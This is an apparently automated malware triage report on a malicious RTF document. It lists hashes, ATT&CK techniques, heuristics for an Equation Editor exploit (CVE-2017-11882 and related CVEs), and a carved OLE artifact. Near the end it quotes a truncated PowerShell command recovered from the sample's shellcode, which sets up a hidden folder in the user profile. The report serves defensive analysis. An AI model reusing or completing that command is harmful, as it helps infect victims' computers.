RTF malware analysis — malicious · 6384bb5f95d74746

MALICIOUS

RTF

7.9 KB First seen: 2020-12-28

MD5: eff0dc0b72b67acc79764eb121e5bfb9 SHA-1: cd2a17a7b8cdd42be39bcdf20f53c39274b1ab7b SHA-256: 6384bb5f95d747469f206bf524c3a02a9f05b6d1bb82e0c2d77b73b109b2afb6

140 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000001c9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9	3583 bytes
SHA-256: `8cf57d06e126a795ec32a862d9daa283c610fdd2a23a689a0945383d4d51fa06`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE

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